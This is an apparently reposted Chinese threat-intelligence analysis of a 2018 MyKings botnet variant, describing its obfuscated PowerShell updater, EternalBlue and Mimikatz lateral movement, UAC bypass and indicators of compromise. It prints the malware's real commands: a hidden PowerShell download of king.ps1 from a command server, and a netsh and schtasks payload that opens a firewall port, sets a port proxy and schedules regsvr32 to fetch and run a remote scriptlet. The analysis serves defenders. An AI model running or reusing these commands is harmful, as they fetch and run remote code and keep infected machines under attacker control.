首页
社区
课程
招聘
[原创]MyKings僵尸网络最新变种突袭,攻击代码多次加密混淆,难以检测
发表于: 2018-9-11 00:19 4163

[原创]MyKings僵尸网络最新变种突袭,攻击代码多次加密混淆,难以检测

2018-9-11 00:19
4163

0x1 概述

近日,腾讯御见威胁情报中心检测到了Mykings僵尸网络迎来了一波更新,通过更新后的样本免杀度极高,且加密手段复杂,采用较高超的攻击技巧,提升了安全检测的难度。

MyKings僵尸网络2017 年 2月左右开始出现,该僵尸网络通过扫描互联网上 1433 及其他多个端口渗透进入受害者主机,然后传播包括 DDoS、Proxy(代理服务)、RAT(远程控制木马)、Miner(挖矿木马)在内的多种不同用途的恶意代码。腾讯御见威胁情报中心曾在今年五月发现Mykings利用Nsis脚本进行SMB爆破传播挖矿。由于MyKings僵尸网络主动扩散的能力较强,影响范围较广,对企业用户危害严重。

Mykings僵尸网络最新变种的技术特点:

1.攻击指令入侵成功,即通过Powershell下载king.ps1脚本;

2.king.ps1经过多次混淆加密,具有自我更新和横向移动扩散能力;

3.Mykings僵尸网络横向扩散利用了永恒之蓝漏洞和Mimikatz攻击神器;

4.Mykings僵尸网络多次使用加密混淆脚本,以掩盖攻击意图,逃避安全软件检测;

5.攻击者利用肉鸡电脑开启代理服务,肉鸡电脑可能成为攻击其他系统的跳板;

6.攻击脚本中有绕过Windows UAC的行为,避免危险操作被操作系统的安全功能拦截;

7.御见威胁情报中心监控发现,本轮攻击开始于9月4日,放量测试后攻击者很快关闭C2服务器。

0x2 样本分析

本次更新通过powershell下载king.ps1进行,更新命令:

powershell.exe  -E  -ExecutionPolicy Bypass -windowstyle hidden -command #3down = New-Object ct System.Net.WebClient;#3u;#3url = "= "7e4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3A6K6i4K6u0W2k6U0b7K6x3U0q4&6i4K6u0W2j5$3!0E0i4K6u0r3K9$3W2F1k6#2)9J5k6h3c8S2N6l9`.`.";#3";#3file = "C:/Users/ADMINI~1/AppData/Local/Temp/19>king.ps1</c1";#";#3down.DownloadFile(ile(#3url,#3file);exit;

下载后的king.ps1经过多次混淆加密,对其进行去混淆后脚本内容如下:

该脚本主要分为两个部分:自我更新和横向移动。

• 自我更新分析:

脚本首先会获取本地信息,并发送给服务器,服务器会返回一段脚本内容,返回脚本内容为更新下载新的king.ps1:

• 横向移动分析:

该样本使用两种攻击方法进行横向感染:永恒之蓝,和利用NTLM hash 进行Smbclient。

永恒之蓝:

扫描内网开放445端口IP,并且该IP没有开放65353端口,随后会利用内置永恒之蓝利用代码eb7和eb8函数进行攻击。

• eb7:是针对windows 7/2008 R2

• eb8:是针对windows 8/8.1/2012 R2

漏洞攻击代码来自exploit-db.网站修改版。攻击成功后,会执行base64解密后的payload。

SMBClient:

首先调用GetUserInfo函数,该函数内容同样经过编码加密,对其解密后发现会调用内置已加密的exe。该Exe为修改版的Mimikatz。用户获取本地帐号和Ntml hash。

Mimikatz会将获取到的帐号和Ntlm存储在%temp%\tmp.log文件中:

将获取到的账号和NTLM Hash和内置的部分帐号和NTLM值(脚本中硬编码)组成字典,然后利用SMBClient进行上传脚本。

添加内置帐号和Ntlm hash:

smbclient上传脚本:

将内置脚本代码base64解密后发现为加混淆的js脚本,该脚本依然使用了极其复杂的加密和混淆:

对其去混淆后:

该js脚本目的是在%appdata%\\Microsoft\\Microsoft.ps1下创建ps1文件,并且设置计划任务启动。Microsoft.ps1仍为加密混淆脚本,经过多次去混淆解密后得到如下脚本内容:

该脚本目的是继续上传受害者信息并执行服务器返回脚本。

• payload分析

payload部分依然被严重加密:

解密后,得到执行payload的命令如下:

cmd.exe /c netsh.exe firewall add portopening tcp 65353 DNS&cmd.exe /c netsh interface portproxy add v4tov4 listenport=65353 connectaddress=8.8.8.8 connectport=53 & cmd.exe /c netsh advfirewall firewall add rule name=DNS dir=in action=allow protocol=TCP localport=65353 & cmd.exe /c schtasks /create /ru system /sc MINUTE /mo 40 /st 07:00:00 /tn DnsCore /tr "regsvr32 /u /s /i:b16K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4m8S2k6$3g2K6i4K6u0W2L8$3!0Y4N6i4W2Q4x3X3g2U0L8$3#2Q4x3V1k6V1L8Y4y4Q4x3X3g2K6j5%4b7`. scrobj.dll"

Payload会向防火墙添加65353端口,开启代理,设置当IP访问65353端口时,本机就连接到8.8.8.8的53端口上,并且设置任务计划定时访问下载47cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4m8S2k6$3g2K6i4K6u0W2L8$3!0Y4N6i4W2Q4x3X3g2U0L8$3#2Q4x3V1k6V1L8Y4y4Q4x3X3g2K6j5%4c8Q4c8e0y4Q4z5o6m8Q4z5o6u0Q4c8e0N6Q4z5f1u0Q4b7f1g2Q4c8e0g2Q4z5o6W2Q4z5p5c8Q4c8e0S2Q4b7f1k6Q4b7e0g2Q4c8e0c8Q4b7U0S2Q4z5p5u0Q4c8e0S2Q4b7V1c8Q4b7V1c8Q4c8e0W2Q4z5e0y4Q4b7V1g2Q4c8e0k6Q4z5p5g2Q4b7e0g2Q4c8e0g2Q4b7e0c8Q4b7U0q4Q4c8e0k6Q4z5e0g2Q4z5o6S2Q4c8e0y4Q4z5o6m8Q4z5o6u0Q4c8e0N6Q4z5p5y4Q4z5f1y4Q4c8e0k6Q4b7U0g2Q4z5p5u0Q4c8e0S2Q4b7V1k6Q4z5e0W2Q4c8e0W2Q4z5o6N6Q4z5p5y4Q4c8e0S2Q4b7U0N6Q4b7U0y4Q4c8e0S2Q4b7V1c8Q4b7f1y4Q4c8e0g2Q4z5o6S2Q4b7U0l9^5i4K6u0W2z5q4)9J5k6e0S2Q4x3X3f1^5i4@1f1%4i4K6W2m8i4K6R3@1y4e0y4Q4c8e0N6Q4b7f1u0Q4b7f1k6Q4c8e0g2Q4z5p5k6Q4b7e0y4Q4c8e0g2Q4z5o6g2Q4b7U0k6Q4c8e0N6Q4z5f1y4Q4z5f1k6Q4c8e0g2Q4b7f1g2Q4z5f1g2Q4c8e0k6Q4z5o6c8Q4z5p5k6Q4c8e0g2Q4z5f1u0Q4b7V1g2Q4c8e0g2Q4b7U0m8Q4z5f1q4Q4c8e0c8Q4b7U0S2Q4z5p5c8Q4c8e0k6Q4z5e0S2Q4z5p5g2Q4c8e0N6Q4b7e0q4Q4b7f1g2Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0g2Q4z5p5k6Q4b7f1k6Q4c8e0S2Q4z5o6y4Q4b7V1c8Q4c8e0N6Q4z5e0c8Q4b7e0S2Q4c8e0c8Q4b7V1q4Q4z5p5g2Q4c8e0S2Q4b7U0m8Q4z5o6y4Q4c8e0S2Q4b7f1k6Q4z5e0g2Q4c8e0N6Q4z5f1u0Q4b7f1g2Q4c8e0N6Q4z5f1q4Q4z5o6c8Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0k6Q4z5o6S2Q4z5e0k6Q4c8e0g2Q4z5p5k6Q4b7f1k6Q4c8e0S2Q4z5o6y4Q4b7V1c8Q4c8e0g2Q4z5p5k6Q4z5e0S2Q4c8e0k6Q4z5f1u0Q4b7U0c8Q4c8e0c8Q4b7U0S2Q4b7V1q4Q4c8e0c8Q4b7V1u0Q4b7e0y4Q4c8e0N6Q4z5e0m8Q4z5o6k6Q4c8e0k6Q4z5f1y4Q4z5p5c8Q4c8e0g2Q4z5p5q4Q4b7e0q4Q4c8e0y4Q4z5o6m8Q4z5o6q4Q4c8e0c8Q4b7U0S2Q4z5p5u0Q4c8e0S2Q4b7V1c8Q4b7V1c8Q4c8e0k6Q4z5f1y4Q4z5p5c8Q4c8e0g2Q4z5p5q4Q4b7e0q4Q4c8e0y4Q4z5o6m8Q4z5o6q4Q4c8e0k6Q4z5o6S2Q4z5e0k6Q4c8e0g2Q4b7U0m8Q4z5o6k6Q4c8e0S2Q4z5o6u0Q4z5o6W2Q4c8e0W2Q4b7U0S2Q4b7e0q4Q4c8e0N6Q4z5e0c8Q4b7U0g2Q4c8e0S2Q4z5o6c8Q4z5e0q4Q4c8e0c8Q4b7V1c8Q4z5f1y4Q4c8e0c8Q4b7U0S2Q4b7V1q4Q4c8e0k6Q4z5e0c8Q4b7V1u0Q4c8e0g2Q4z5o6N6Q4b7V1u0Q4c8e0S2Q4b7U0N6Q4b7U0y4Q4c8e0k6Q4z5f1c8Q4b7V1k6Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0g2Q4z5p5k6Q4z5e0q4Q4c8e0S2Q4b7U0g2Q4b7U0N6p5c8r3!0e0i4@1f1$3i4K6V1@1i4@1u0n7i4@1f1#2i4K6R3%4i4@1u0n7i4@1f1%4i4@1q4p5i4K6R3&6i4@1f1%4i4@1q4p5i4K6R3&6i4@1f1K6i4K6R3H3i4K6R3J5

• BypassUAC

BypassUAC同样采取无文件落地攻击,其利用MSF公开BypassUAC注入dll,并将DLL硬编码加密写入脚本中。

该代码可以在github上找到:

0x3 趋势&总结

本次Mykings僵尸网络更新,采用了极其复杂的加密和混淆技术,大大增加了免杀的能力。 其中一个脚本就加密多达4、5次。而且此次捕获的样本并无其他可执行二进制落地,其利用的部分二进制恶意工具均被加密硬编码在脚本中,执行时直接注入相关进程,提升了安全软件的检测难度。

从C&C域名监测来看,该波更新开始于9月4日,仅放量了一部分用户。目前已经关闭了该C&C服务器。因此我们判断,作者可能在进行一些测试,用于进行下一波更猛烈的攻击。

0x4 安全建议

• 关闭不必要的端口,方法可参考:e6aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4N6h3q4F1K9X3W2S2i4K6u0W2M7i4q4Q4x3X3g2U0L8$3#2Q4x3V1k6%4k6h3u0Q4y4h3k6U0L8r3W2F1K9h3y4Q4x3V1k6K6z5q4)9J5c8U0f1^5y4g2)9J5k6h3S2@1L8h3I4Q4c8f1k6Q4b7V1y4Q4z5f1t1`.

• 建议局域网用户切勿使用弱口令和统一口令;

• 推荐企业用户使用御点终端安全管理系统保护电脑安全(下载地址:7d8K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6i4K6u0W2N6r3g2F1j5$3g2F1N6q4)9J5k6h3y4G2L8g2)9J5c8Y4m8J5L8$3c8#2j5%4c8Q4x3V1k6&6k6q4)9J5c8X3W2F1k6r3g2^5i4K6u0W2K9s2c8E0L8q4!0q4c8W2!0n7b7#2)9^5z5b7`.`.

附录(IOCs)

MD5:

44d9022197f596eefa88faa951d0a4b2(king.ps1)

Url:

hxxp://cache.gacache.ga/cache.png?v=2&h=

hxxp://jpcache.casacam.net/start.png?h=

hxxp://pages.ooguy.com/dns.sct

hxxp://js.f4321y.com/king.dat

hxxp://cache.gacache.ga/king.dat?new

hxxp://pages.ooguy.com/dns64.sct

参考链接:

MyKings僵尸网络的新动向:利用NSIS脚本挖门罗币


[培训]科锐逆向工程师培训第53期2025年7月8日开班!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回